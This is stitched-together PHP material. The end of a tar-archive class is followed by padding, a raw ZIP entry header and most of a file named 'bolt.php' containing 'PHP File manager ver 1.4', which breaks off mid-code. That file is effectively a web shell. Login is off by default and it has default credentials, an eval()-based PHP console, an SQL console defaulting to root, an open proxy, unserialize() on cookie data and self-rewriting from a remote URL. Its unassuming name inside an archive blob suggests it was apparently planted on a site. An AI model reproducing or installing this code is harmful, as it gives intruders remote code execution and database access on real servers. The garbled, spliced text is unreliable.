					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
